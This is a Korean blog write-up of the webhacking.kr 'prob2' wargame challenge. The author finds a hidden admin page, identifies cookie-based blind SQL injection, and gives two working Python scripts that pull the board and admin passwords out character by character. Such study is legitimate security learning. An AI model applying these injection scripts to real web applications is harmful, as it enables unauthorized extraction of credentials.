constWORLDant

prob2 본문

0x09 WEB Hacking 기초공부

prob2

data type ConS_tanT 2018.07.26 10:45

상황 부여 : 일반 웹페이지로 보인다.


소스코드를 보니 index, about, member, research , fun, contact 이런게 있고

가장 중요해보이는 admin이 있다. 


1. admin 접근 -> admin부분은 php가 붙어있지 않다.

php는 단지 확장자 일뿐이라는건가? 

어떤부분인지 감은 안오지만, tomcat이런데 연결되어있으면 php가 붙어있지 않아도 php로 

받아들이는건가? 아직은 웹 공부를 안해본 상태라 잘 모르겠다 그냥 상상만 하고 넘어가는걸로 


admin에 접근을 하니 계정을 입력하는 부분이 있다.


2. board 부분 

board에 단 하나의 글만 올라가 있다.

url을 보니 예는 파라미터가 보이는것으로 보아 get 방식을 택하고 있나보다


그럼 각 각의 웹페이지마다 post와 get를 동시에 사용할 수 있다는 생각을 하였다.


흠... 글을 하나 올려서 접근 우회를 해보려 했는데 글을 올릴 수가 없다!!!!


다시 admin 부분을 유심히 보면서 생각을 해봤다.


우선 피들러를 통해 보니까 password만 보이고, 계정은 admin으로 고정으로 보여졌다.


웹은 우선 내가 아는 지식에 의하면 tomcat같은 것을 구동시키고 SQL Service (오라클이든 MYSQL이든 MSSQL이든) 하나를 연결시켜 데이터베이스를 생성한다.


데이터베이스에는 계정의 정보가 담겨있을 것이다. 


문제를 풀기 위해 알아야 하는 것


1. 취약함이 존재하는 벡터 

2. 추출해야 하는 비밀번호가 있는 테이블 명 (guessing...)

3. Blind SQL Injection

4. 패스워드의 길이 


웹 사이트에 접속을 하여 소스코드를 보게 되면, 숨겨져 있는 경로 (admin)를 알 수 있다.

다음은 해당 폼에서 로그인을 시도해본 결과다.


로그인을 시도할 때 password라는 변수 명을 발견 하였다. 변수 명과 칼럼 명이 일치할 것이라는 판단을 우선 하고 넘어가자. 


그다음 찾아본 바로는 권한이 제한 되어있는 글이 게시판에 존재하였다.



여기서 소스코드를 열람하였을 때 꽤 많은 힌트를 얻게 되었다.


<body>
<p><center><font size=3 color=gray><b>FreeB0aRd</b></font></center><p>
<style>


<td><table><td width=90><font color=white><li> Name : </td><td width=520><font color=white>oldzombie</td><tr><td><font color=white><li>Day : </td><td><font color=white>2009.01.30 &nbsp; &nbsp; &nbsp; </td><tr><td><br><font color=white><li>Subject : </td><td><br><font color=white>ㅎㅇ</td><tr><table width=750 bgcolor=black border=0><td bgcolor=gray width=750><table border=0 width=750 bgcolor=black><td valign=top bgcolor=#232323 width=750>

<input type=password name=Password maxlength=10 size=10><input type=submit>

</center><p>

</font></td></table></td></table></table><br>&nbsp; &nbsp; &nbsp; <table width=800> 


위의 정보를 통해 만들어본 테이블과 칼럼 

Table : FreeB0aRd 

Name : oldzombie

Day : 2009.01.30 

Subject  : ㅎㅇ 

Password  : do you know passwd? IDK~ but length is 10(maxlength)보고 11자리는 아닐 거라고 게싱 


그 후 아주 중요한 정보를 획득하였다. 그리고 비로소 이 문제의 의도를 파악하게 되었다.


메인 홈페이지에 접속하게 되면 아래와 같이 현재 시간이 출력 된다.



이것은 cookie injection이라고 하는 기법이다. 


그렇다면, 쿠키를 변조해서 참/거짓을 판별해본다면 아주 재미있는 일이 일어날 것이다.


바로 진행을 하였다.


[1] 거짓일 상황


[2] 참일 상황


뒷 부분에 00과 01이 변함을 볼 수 있었고, 공통적으로 변하는 것은 년도, 월, 일, 시, 분 이었다. 


이때 잠재적으로 알 수 있는 것은 저 주석 값을 서버에서 받아와서 하고자 하는 일(Blind Injection)을 할 수 있을 거라 생각했다.


cookie injection은 이 블로그를 참조하고 이해하였다.

http://egloos.zum.com/eyestorys/v/2889555


이 것들을 토대로 시나리오를 작성해보았다.

1. 해커는 admin 과 bbs/index.php에서 활동을 할 수 있다.

2. 두군데 모두 쿼리가 존재한다 (time)

2.1 쿼리는 참일때 01초 거짓일 때 00초를 나타낼 수 있다.

( time = 어쩌고 and 1=0 ) -> 무조건 거짓을 나타내는 쿼리이다리 

3. blind sqli


시나리오를 토대로 짠 페이로드이다. 

import re, urllib, urllib2

import datetime

from pytz import timezone 

from datetime import datetime

import sys



flag = ""

cokkie = "your phpsessionID

# filter : 2070-01-01 09:00:01 (true) / 09:00:00 (false)


# get timestamp 

date_format = "%Y-%m-%d %H:%M:%S"

KST = datetime.now(timezone('Asia/Seoul'))

KST = KST.strftime(date_format)




'''

time_stamp = now.datetime.strptime(now,"%a, %d %b %Y %H:%M:%S GMT")

time_stamp.timestamp()

'''



def web_round():


    f = open('./prob_solve.txt','w+')

    flag = "" 

    for i in range(1,11): #BRUTE FORCE

        for j in range(33,126):

        # mistake : append to index.php

            url = "http://webhacking.kr/challenge/web/web-02/"  

            req = urllib2.Request(url)

        # in the cookie ~

                req.add_header('Cookie',"time= 1532497059  and (select ascii(substring(password,%d,1))from FreeB0aRd) = %d; PHPSESSID=%s" %(i,j,cokkie))



            respon_data = urllib2.urlopen(req).read()

            get_result = re.findall("<!--2070-01-01 09:00:01-->",respon_data) # this is true


            if get_result:

            # set Ascii

                flag += chr(j)

                print "good job " + flag

                break

    # success routine 

    print "Flag is %s " %(flag)

    f.write("Round clear\n")

    f.write(flag)

    f.close() 




print "present time is " + KST

print "Let's brute force with blind sqli"


web_round()


비밀번호를 추출하였으나, 또 다른 시나리오가 필요 했다.



이 암호를 원래 ZIP 브루트포싱을 하려하다가 ADMIN -> MANUAL 이길래 ADMIN 페이지에서 패스워드를 추출하면 될 것 같다는 생각을 했다. 


그래서 코드를 재 정비하였고 ADMIN 패스워드 추출에 성공하였다.

import re, urllib, urllib2

import datetime

from pytz import timezone 

from datetime import datetime

import sys



flag = ""

cokkie = "27c48e4ebc197827cc18c584f5a92b51" # e4e739b3b8a3aef026a4c987d870ff82 is PHPSESSIONID

# filter : 2070-01-01 09:00:01 (true) / 09:00:00 (false)


# get timestamp 

date_format = "%Y-%m-%d %H:%M:%S"

KST = datetime.now(timezone('Asia/Seoul'))

KST = KST.strftime(date_format)




'''

time_stamp = now.datetime.strptime(now,"%a, %d %b %Y %H:%M:%S GMT")

time_stamp.timestamp()

'''



def web_round(_round):


    f = open('./prob_solve.txt','w+')

    print "round %d"%(_round)

    flag = "" 

    for i in range(1,11): #BRUTE FORCE

        for j in range(33,126):

        # mistake : append to index.php

            url = "http://webhacking.kr/challenge/web/web-02/"  

            req = urllib2.Request(url)

            if(_round == 0):

        # in the cookie ~

                req.add_header('Cookie',"time= 1532497059  and (select ascii(substring(password,%d,1))from FreeB0aRd) = %d; PHPSESSID=%s" %(i,j,cokkie))


            else:

                req.add_header('Cookie',"time= 1532497059  and (select ascii(substring(password,%d,1))from admin) = %d; PHPSESSID=%s" %(i,j,cokkie))


            respon_data = urllib2.urlopen(req).read()

            get_result = re.findall("<!--2070-01-01 09:00:01-->",respon_data) # this is true


            if get_result:

            # set Ascii

                flag += chr(j)

                print "good job " + flag

                break

            if(_round ==2):

                print "Good Bye~"

                f.close()

                sys.exit(1)              


    # success routine 

    print "Flag is %s " %(flag)

    f.write("Round clear\n")

    f.write(flag)

    _round = _round+1

    flag = "" # init 

    


    return web_round(_round)



print "present time is " + KST

print "Let's brute force with blind sqli"


web_round(0)



추출 후 압축 파일 풀면 플래그를 획득할 수 있다.



2일 걸렸다. 하지만 뿌듯했다~

'0x09 WEB Hacking 기초공부' 카테고리의 다른 글

prob2 하기 전 공부한 것 2  (0) 2018.07.26
prob2  (0) 2018.07.26
prob2 하기 전 공부한 것  (0) 2018.07.26
prob1  (0) 2018.07.26
Webhacking.kr 회원가입  (0) 2018.07.25
0 Comments
댓글쓰기 폼